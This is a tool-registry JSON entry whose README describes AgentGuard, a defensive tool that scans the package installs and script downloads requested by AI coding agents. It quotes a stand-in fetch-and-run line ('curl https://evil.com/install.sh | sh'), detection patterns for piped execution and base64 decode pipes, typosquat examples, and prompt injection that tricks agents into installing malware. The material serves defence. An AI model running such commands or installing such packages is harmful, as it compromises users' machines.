{"id":"464f30a7-7827-4d28-8f1d-680ccc4d9c6d","slug":"momenbasel-agentguard","kind":"skill","name":"AgentGuard","summary":"AI Agent Supply Chain Security - intercepts and validates every package install, git clone, and script download triggered by AI coding agents before execution","owner":"momenbasel","repoUrl":"https://github.com/momenbasel/AgentGuard","license":"MIT","licenseTier":"permissive","trust":"community","stars":9,"match":null,"fewStars":false,"format":"skill","createdAt":"2026-04-10T18:25:08.000Z","addedAt":"2026-10-21T17:10:05.477Z","logoUrl":"https://avatars.githubusercontent.com/u/8724766?u=72887b89ae9e638c8d557a361211614e76ec517f&v=4","linkOnly":false,"collection":null,"skillPath":null,"categories":["developer-tools"],"tags":[],"runtime":"node","local":true,"cloudCapable":false,"cloudCapability":"unknown","cloudReadyOnPlatform":false,"needsApiKey":false,"reviewed":false,"syncedAt":"2026-10-26T19:46:38.240Z","sample":false,"url":"https://conduits.dev/tools/momenbasel-agentguard","language":"Python","transports":["stdio"],"install":{"npm":"agentguard"},"requirements":{"env":[],"upstreamMayCharge":false},"tools":null,"readme":"<p align=\"center\">\n  <img src=\"assets/banner.svg\" alt=\"AgentGuard - AI Agent Supply Chain Security\" width=\"100%\">\n</p>\n\n<p align=\"center\">\n  <a href=\"https://pypi.org/project/agentguard/\"><img src=\"https://img.shields.io/pypi/v/agentguard?color=00d4ff&style=flat-square\" alt=\"PyPI\"></a>\n  <a href=\"https://github.com/momenbasel/AgentGuard/actions\"><img src=\"https://img.shields.io/github/actions/workflow/status/momenbasel/AgentGuard/ci.yml?style=flat-square\" alt=\"CI\"></a>\n  <a href=\"https://github.com/momenbasel/AgentGuard/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/momenbasel/AgentGuard?style=flat-square\" alt=\"License\"></a>\n  <a href=\"https://momenbasel.github.io/AgentGuard/\"><img src=\"https://img.shields.io/badge/docs-GitHub%20Pages-00d4ff?style=flat-square\" alt=\"Docs\"></a>\n</p>\n\n# AgentGuard\n\n**AI Agent Supply Chain Security** - Intercepts and validates every package installation, `git clone`, and script download triggered by AI coding agents before it executes.\n\nWhen Claude Code, Codex, Copilot, or any AI coding assistant tries to install a package - AgentGuard checks it first.\n\n```\n$ agentguard scan \"npm install lodasx\"\n[HIGH] typosquat [lodasx]: 'lodasx' looks like typosquat of 'lodash' (distance=1, type=substitution)\n\nWould BLOCK this command (HIGH)\n```\n\n## The Problem\n\nAI coding agents install packages, clone repos, and run scripts on your machine. They can be tricked by:\n\n- **Typosquatting** - `lodahs` instead of `lodash`, `reqeusts` instead of `requests`\n- **Malicious packages** - compromised or backdoored packages (event-stream, ua-parser-js, colors)\n- **Dependency confusion** - internal package names shadowed by public registries\n- **Piped execution** - `curl https://evil.com/install.sh | sh` runs before you can review it\n- **Scope confusion** - `@angullar/core` (typo) vs `@angular/core`\n- **Prompt injection** - an AI told to \"install this helpful package\" that's actually malware\n\nAgentGuard sits between the AI and your system, catching these before they execute.\n\n## Quick Start\n\n### Install\n\n```bash\n# Via pip (recommended)\npip install agentguard\n\n# Via npm (installs pip package automatically)\nnpm install -g agentguard\n```\n\n### One-command setup for Claude Code\n\n```bash\n# Install as a hook (blocks CRITICAL/HIGH, warns on MEDIUM)\nagentguard install --global\n\n# Or strict mode (also blocks MEDIUM)\nagentguard install --global --strict\n```\n\nThat's it. Every `Bash` tool call in Claude Code now passes through AgentGuard first.\n\n### Manual scan\n\n```bash\n# Scan a command\nagentguard scan npm install some-package\n\n# JSON output\nagentguard scan --json pip install reqeusts\n\n# Strict mode\nagentguard scan --strict \"curl -fsSL https://example.com/install.sh | sh\"\n```\n\n## What It Checks\n\n| Check | What it catches | Speed |\n|-------|----------------|-------|\n| **Blocklist** | Known malicious packages (event-stream, flatmap-stream, crossenv, ctx, ...) | Instant |\n| **Typosquatting** | Edit distance + homoglyph detection against top npm/PyPI packages | Instant |\n| **Scope confusion** | `@angullar/core` vs `@angular/core` | Instant |\n| **Dangerous patterns** | `curl\\|sh`, `sudo npm install`, custom registries, base64 decode pipes | Instant |\n| **Registry metadata** | Package age < 7 days, no repo link, no maintainers | ~1s (network) |\n| **Repository verification** | GitHub repo exists, stars, forks, age, archived status | ~1s (network) |\n| **VirusTotal** | Package tarball/URL flagged by AV engines | ~3s (network) |\n| **Live feed (OSV.dev)** | Real-time malicious package advisories (MAL-*, GHSA-*) | ~1s (network, cached 1hr) |\n\n## Severity Levels\n\n| Severity | Action | Examples |\n|----------|--------|----------|\n| **CRITICAL** | Block | Known malware, VT detections, `curl\\|sh` |\n| **HIGH** | Block | Typosquat (high confidence), non-existent package, sudo install |\n| **MEDIUM** | Warn | New package (< 7 days), global install, custom registry |\n| **LOW** | Allow | Informational findings |\n| **INFO** | Allow | Non-actionable context |\n\n## Supported Package Managers\n\n- **npm** / **pnpm** / **yarn** / **bun** - install, add, npx/pnpx/bunx\n- **pip** / **pip3** / **uv** - install\n- **composer** - require (PHP/Laravel)\n- **go** - get, install\n- **cargo** - add, install\n- **gem** - install\n- **brew** - install\n- **git** - clone\n- **curl** / **wget** - download detection\n- **Claude Code skills** - skill install verification\n\n## VirusTotal Integration\n\nOptional deep scanning via VirusTotal API:\n\n```bash\n# Set your API key\nexport VT_API_KEY=\"your-virustotal-api-key\"\n\n# Enable in config\nagentguard config init\n# Edit ~/.agentguard/config.json and set \"check_virustotal\": true\n\n# Or per-scan\nagentguard scan --json npm install suspicious-package\n```\n\nWhat VT checks:\n- npm package tarballs (by shasum hash lookup)\n- PyPI distribution files (by sha256 hash lookup)\n- URLs in `curl`/`wget`/`git clone` commands\n- Falls back to URL submission if hash not found\n\nFree VT API: 4 requests/minute, 500/day. Sufficient for normal agent usage.\n\n## Usage Modes\n\n### 1. Claude Code Hook (recommended)\n\nAutomatically intercepts every Bash command before execution:\n\n```bash\nagentguard install --global\n```\n\nThis adds to `~/.claude/settings.json`:\n```json\n{\n  \"hooks\": {\n    \"PreToolUse\": [\n      {\n        \"matcher\": \"Bash\",\n        \"hooks\": [\n          {\n            \"type\": \"command\",\n            \"command\": \"agentguard hook\"\n          }\n        ]\n      }\n    ]\n  }\n}\n```\n\n### 2. Claude Code Skill\n\nUse as an on-demand skill with `/agentguard`:\n\n```bash\n# Copy skill.md to your skills directory\ncp skill.md ~/.claude/skills/agentguard.md\n```\n\nThen in Claude Code: `/agentguard npm install some-package`\n\n### 3. MCP Server\n\nExpose AgentGuard as tools for any MCP-compatible client:\n\n```json\n{\n  \"mcpServers\": {\n    \"agentguard\": {\n      \"command\": \"agentguard\",\n      \"args\": [\"mcp\"]\n    }\n  }\n}\n```\n\nMCP tools provided:\n- `agentguard_scan` - Scan a shell command\n- `agentguard_check_package` - Quick package name lookup\n- `agentguard_config` - View/modify config\n\n### 4. CLI\n\n```bash\n# Scan commands\nagentguard scan npm install express\nagentguard scan \"pip install requests && npm install lodash\"\nagentguard scan --json \"git clone https://github.com/user/repo\"\n\n# Configuration\nagentguard config show\nagentguard config init\nagentguard config allow my-internal-package\nagentguard config block suspicious-package\n\n# Manage hooks\nagentguard install --global\nagentguard uninstall\n```\n\n## Configuration\n\nConfig file: `~/.agentguard/config.json`\n\n```json\n{\n  \"mode\": \"normal\",\n  \"block_piped_exec\": true,\n  \"check_typosquat\": true,\n  \"check_registry\": true,\n  \"check_blocklist\": true,\n  \"check_repo\": true,\n  \"check_patterns\": true,\n  \"check_virustotal\": false,\n  \"typosquat_threshold\": 2,\n  \"min_package_age_days\": 7,\n  \"min_downloads\": 100,\n  \"allowlist\": [\"my-company-internal-pkg\"],\n  \"blocklist_extra\": [\"known-bad-pkg\"],\n  \"registry_timeout\": 5,\n  \"verbose\": false\n}\n```\n\n### Modes\n\n| Mode | Risk threshold | Behavior |\n|------|---------------|----------|\n| `strict` | 30 | Block on MEDIUM and above |\n| `normal` | 60 | Block on HIGH and above (default) |\n| `permissive` | 80 | Block only CRITICAL |\n\n## Architecture\n\n```\nAI Agent (Claude Code / Codex / etc.)\n    |\n    v\n[PreToolUse Hook] -----> agentguard hook (stdin: JSON)\n    |\n    v\n[Command Parser] ------> Extract packages, URLs, patterns\n    |\n    +---> [Blocklist Check]     (instant, local)\n    +---> [Typosquat Check]     (instant, local)\n    +---> [Pattern Check]       (instant, local)\n    +---> [Registry Check]      (network, npm/PyPI API)\n    +---> [Repo Check]          (network, GitHub API)\n    +---> [VirusTotal Check]    (network, VT API, optional)\n    |\n    v\n[Verdict] --> ALLOW (exit 0) | BLOCK (exit 2) + stderr findings\n```\n\n## Extending\n\n### Add packages to blocklist\n\nEdit `agentguard/data/blocklist.json` or use:\n```bash\nagentguard config block malicious-package-name\n```\n\n### Add popular packages (reduces false positives)\n\nAdd to `agentguard/data/popular_npm.txt` or `popular_pypi.txt`.\n\n### Custom patterns\n\nAdd regex patterns to `agentguard/checks/patterns.py` `SUSPICIOUS_PATTERNS` list.\n\n## Live Security Feed\n\nAgentGuard queries [OSV.dev](https://osv.dev) (Google's Open Source Vulnerabilities database) in real-time for every package install. This catches:\n\n- **MAL-*** advisories - confirmed malicious packages reported by the OSSF Malicious Packages project\n- **GHSA-*** advisories - GitHub Security Advisories for compromised packages\n- **Critical CVEs** - packages with CVSS 9.0+ vulnerabilities\n\nResults are cached for 1 hour to avoid rate limiting. Update local blocklist from feeds:\n\n```bash\nagentguard update\n```\n\n## Development\n\n```bash\ngit clone https://github.com/momenbasel/AgentGuard.git\ncd AgentGuard\npip install -e \".[dev]\"\npytest -v\nruff check .\n```\n\n## Why This Exists\n\nAI coding agents are increasingly autonomous. They read instructions, write code, and install dependencies - sometimes from prompts that were injected by attackers. A single typosquatted package in an AI-generated `npm install` can compromise your machine.\n\nThis is the seatbelt for vibe coding.\n\n\n## Professional services\n\nAgentGuard is built and maintained by [GreyCore Labs](https://greycorelabs.com), a US-incorporated offensive security firm. Want the same eye on your own product?\n\n- [Penetration testing](https://greycorelabs.com/#plans) - web, API, mobile, cloud. Fixed quote within 24 hours, redacted sample report on request.\n- [Free external attack-surface scan](https://greycorelabs.com/#free-scan) - one-page report in 48 hours, no strings attached.\n\n## License\n\nMIT\n"}